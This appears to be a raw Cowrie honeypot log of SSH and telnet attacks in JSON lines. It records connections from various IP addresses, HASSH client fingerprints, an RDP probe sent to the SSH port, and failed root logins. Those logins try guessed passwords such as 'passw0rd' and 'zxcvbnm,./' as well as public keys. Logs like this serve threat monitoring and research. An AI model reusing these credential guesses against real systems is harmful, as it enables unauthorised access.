{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:45.949059Z","src_ip":"119.96.193.72","session":"9b4d65a09275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36228,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f3b208cd41d","protocol":"telnet","message":"New connection: 152.42.224.71:36228 (10.17.0.5:23) [session: 0f3b208cd41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:45.966926Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"chase123","message":"login attempt [root/chase123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:46.979347Z","src_ip":"119.96.193.72","session":"9b4d65a09275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:48.232798Z","src_ip":"119.96.193.72","session":"9b4d65a09275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43818,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bd95035826e","protocol":"telnet","message":"New connection: 152.42.224.71:43818 (10.17.0.5:23) [session: 4bd95035826e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:44:59.775066Z"}
{"eventid":"cowrie.session.closed","duration":30.125595808029175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:01.754287Z","src_ip":"152.42.224.71","session":"95c072f058f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":57610,"dst_ip":"10.17.0.5","dst_port":22,"session":"18c6270d8aef","protocol":"ssh","message":"New connection: 167.172.81.52:57610 (10.17.0.5:22) [session: 18c6270d8aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:02.026161Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:02.057843Z","src_ip":"167.172.81.52","session":"18c6270d8aef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:02.065883Z","src_ip":"167.172.81.52","session":"18c6270d8aef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":52850,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b580a9e06e8","protocol":"ssh","message":"New connection: 103.183.114.55:52850 (159.203.135.109:22) [session: 7b580a9e06e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:10.138949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:10.145095Z","src_ip":"103.183.114.55","session":"7b580a9e06e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:10.373586Z","src_ip":"103.183.114.55","session":"7b580a9e06e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"777666","message":"login attempt [root/777666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:11.042479Z","src_ip":"103.183.114.55","session":"7b580a9e06e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:12.270952Z","src_ip":"103.183.114.55","session":"7b580a9e06e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56210,"dst_ip":"10.17.0.5","dst_port":23,"session":"47d9bab65c0a","protocol":"telnet","message":"New connection: 152.42.224.71:56210 (10.17.0.5:23) [session: 47d9bab65c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:12.330538Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":42172,"dst_ip":"10.17.0.5","dst_port":22,"session":"d04eee35a123","protocol":"ssh","message":"New connection: 193.37.70.224:42172 (10.17.0.5:22) [session: d04eee35a123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:16.389123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:16.396551Z","src_ip":"193.37.70.224","session":"d04eee35a123","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:16.487350Z","src_ip":"193.37.70.224","session":"d04eee35a123","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm,./","message":"login attempt [root/zxcvbnm,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:16.756878Z","src_ip":"193.37.70.224","session":"d04eee35a123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48432,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd44a09d2ed9","protocol":"telnet","message":"New connection: 152.42.224.71:48432 (10.17.0.5:23) [session: cd44a09d2ed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:17.671688Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:17.848659Z","src_ip":"193.37.70.224","session":"d04eee35a123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":43644,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4dcb69bbef1","protocol":"ssh","message":"New connection: 193.228.128.84:43644 (159.203.135.109:22) [session: c4dcb69bbef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:18.761486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:18.766307Z","src_ip":"193.228.128.84","session":"c4dcb69bbef1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:18.868996Z","src_ip":"193.228.128.84","session":"c4dcb69bbef1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:19.178054Z","src_ip":"193.228.128.84","session":"c4dcb69bbef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:20.286596Z","src_ip":"193.228.128.84","session":"c4dcb69bbef1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34258,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e2c0d2f08e7","protocol":"telnet","message":"New connection: 152.42.224.71:34258 (10.17.0.5:23) [session: 2e2c0d2f08e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:27.010853Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34266,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b375e65b4d3","protocol":"telnet","message":"New connection: 152.42.224.71:34266 (10.17.0.5:23) [session: 5b375e65b4d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:28.464138Z"}
{"eventid":"cowrie.session.closed","duration":43.14907145500183,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:29.115903Z","src_ip":"152.42.224.71","session":"0f3b208cd41d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34276,"dst_ip":"10.17.0.5","dst_port":23,"session":"37e9392de4b6","protocol":"telnet","message":"New connection: 152.42.224.71:34276 (10.17.0.5:23) [session: 37e9392de4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:30.322106Z"}
{"eventid":"cowrie.session.closed","duration":105.54817128181458,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:33.517642Z","src_ip":"152.42.224.71","session":"78e22fcb1d5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":48900,"dst_ip":"10.17.0.5","dst_port":22,"session":"987d29c4801f","protocol":"ssh","message":"New connection: 62.133.62.83:48900 (10.17.0.5:22) [session: 987d29c4801f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:39.320486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:39.325476Z","src_ip":"62.133.62.83","session":"987d29c4801f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:39.406173Z","src_ip":"62.133.62.83","session":"987d29c4801f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111333","message":"login attempt [root/111333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:39.644705Z","src_ip":"62.133.62.83","session":"987d29c4801f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.95.20.168","src_port":40678,"dst_ip":"10.17.0.5","dst_port":22,"session":"84aa2e2a7577","protocol":"ssh","message":"New connection: 23.95.20.168:40678 (10.17.0.5:22) [session: 84aa2e2a7577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:40.182070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:40.187456Z","src_ip":"23.95.20.168","session":"84aa2e2a7577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:40.270576Z","src_ip":"23.95.20.168","session":"84aa2e2a7577","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:cb:3b:9d:77:22:f2:25:8a:71:58:09:43:c4:91:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVI7s6UCZqsA3vvaRMMyqPoG6msGmW5Zi/vcidfjvVGu5vTItvheWAk7CjcxZ/K7ogCAAG34t6wLLQpszaZD23l3X1eVQnNACPueILyCDxnQ3R9Y8pnNrkAI3/sB210XRIrw5Ax70DdsgR85ncHZB8evJnPY6s66DBHHM6waRLC6Or0cJEKpPJNtnQJft+ntSvhd234QOkJQGhXbbPJsUdB1Se1xlhn2W9TRrZ12MjhF456htplMlbdLR4iiT/vIBG2PytkM/eAfURN5ThldxyGpOIh9+Y1Tzb57yUkssa0YWg1SeQyHSBUbhxn04E/p8pQU6dW2lr3FDxfhoCj3nZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:cb:3b:9d:77:22:f2:25:8a:71:58:09:43:c4:91:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:40.649080Z","src_ip":"23.95.20.168","session":"84aa2e2a7577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:cb:3b:9d:77:22:f2:25:8a:71:58:09:43:c4:91:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVI7s6UCZqsA3vvaRMMyqPoG6msGmW5Zi/vcidfjvVGu5vTItvheWAk7CjcxZ/K7ogCAAG34t6wLLQpszaZD23l3X1eVQnNACPueILyCDxnQ3R9Y8pnNrkAI3/sB210XRIrw5Ax70DdsgR85ncHZB8evJnPY6s66DBHHM6waRLC6Or0cJEKpPJNtnQJft+ntSvhd234QOkJQGhXbbPJsUdB1Se1xlhn2W9TRrZ12MjhF456htplMlbdLR4iiT/vIBG2PytkM/eAfURN5ThldxyGpOIh9+Y1Tzb57yUkssa0YWg1SeQyHSBUbhxn04E/p8pQU6dW2lr3FDxfhoCj3nZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:40.657092Z","src_ip":"23.95.20.168","session":"84aa2e2a7577","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:f6:0f:5d:3f:12:44:a2:6d:9e:46:ab:ca:8d:9c:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC71RQViT5e9xd9eAigei0A/l0hV5qtNlGuZS0+7yYtUgdohOLxxEx2mWPEzqguAgoNmdTtpfz8nc74OsXqrfLRBWBBOx6Bu4NCThAtY/XrmPHQObQ49FDmPUZhvCO2carCcIUfLjKi47l8yKrNCeihPNIFkvgiX64lJBhKzYxw+KgEV9A6FNFwNt4BvT3fHDTXajvMX+ft+K9z4eAZMUVht3MaFiowjniijiNuFDB4UffL+VLlfnfqZd0YSBgulFaxS3A6PazPQiWzzmMj38reCGBCyykkcD4F9mhUUD5aFeSImo/1OzVzRpIWHnEJkYz80qGGKutVEYGUEc366Sw0satIqo2BT+e5ai/h9Wl4WoJ8yF2rr4jsuqGzAP1oe2v+vQtHsSdwskn8DCeY4M3ZtVwhVWPe/18Mu9qlNzri/JlgJXijdzxoFOjkwKD18arDoXvPzkaGTolu7rHySgYgRtAnc77Z+F4D/uA44/cOUb+Las5q+BX+sKUfZzG1YBK7AMy/gJG0CF1ugVfUdQdsiNgblBbum91E2+4isGMp1TYxlFUbWvxPTOixuih2Y2xE/2ENw2+fLGc75XKAX+CkyPrlvTuxnAHRWkzM5/AL3T/s5YRCos+yiEkPlh209zr8abSh+saCBYkesFaF9GgTKgtlsBqTfPcckfkIIHoemw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:f6:0f:5d:3f:12:44:a2:6d:9e:46:ab:ca:8d:9c:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:45:40.739247Z","src_ip":"23.95.20.168","session":"84aa2e2a7577","protocol":"ssh"}
